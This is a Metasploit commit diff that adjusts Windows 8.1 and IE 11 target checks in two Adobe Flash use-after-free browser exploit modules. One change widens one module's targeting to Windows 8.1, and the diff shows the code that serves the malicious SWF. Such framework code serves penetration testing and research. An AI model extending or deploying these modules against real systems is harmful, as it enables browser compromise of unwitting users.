Skip to content

Commit 54fc712

Browse files
committed
Update Win 8.1 checks
1 parent 6f0b989 commit 54fc712

File tree

2 files changed

+9
-2
lines changed

2 files changed

+9
-2
lines changed

modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -105,7 +105,7 @@ def exploit
105105
def on_request_exploit(cli, request, target_info)
106106
print_status("Request: #{request.uri}")
107107

108-
if target_info[:os_name] == OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
108+
if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
109109
print_warning("Target setup not supported")
110110
send_not_found(cli)
111111
return

modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,8 @@ def initialize(info={})
4545
:source => /script|headers/i,
4646
:arch => ARCH_X86,
4747
:os_name => lambda do |os|
48-
os =~ OperatingSystems::Match::WINDOWS_7
48+
os =~ OperatingSystems::Match::WINDOWS_7 ||
49+
os =~ OperatingSystems::Match::WINDOWS_81
4950
end,
5051
:ua_name => lambda do |ua|
5152
case target.name
@@ -86,6 +87,12 @@ def exploit
8687
def on_request_exploit(cli, request, target_info)
8788
print_status("Request: #{request.uri}")
8889

90+
if target_info[:os_name] =~ OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
91+
print_warning("Target setup not supported")
92+
send_not_found(cli)
93+
return
94+
end
95+
8996
if request.uri =~ /\.swf$/
9097
print_status('Sending SWF...')
9198
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})

0 commit comments

Comments
 (0)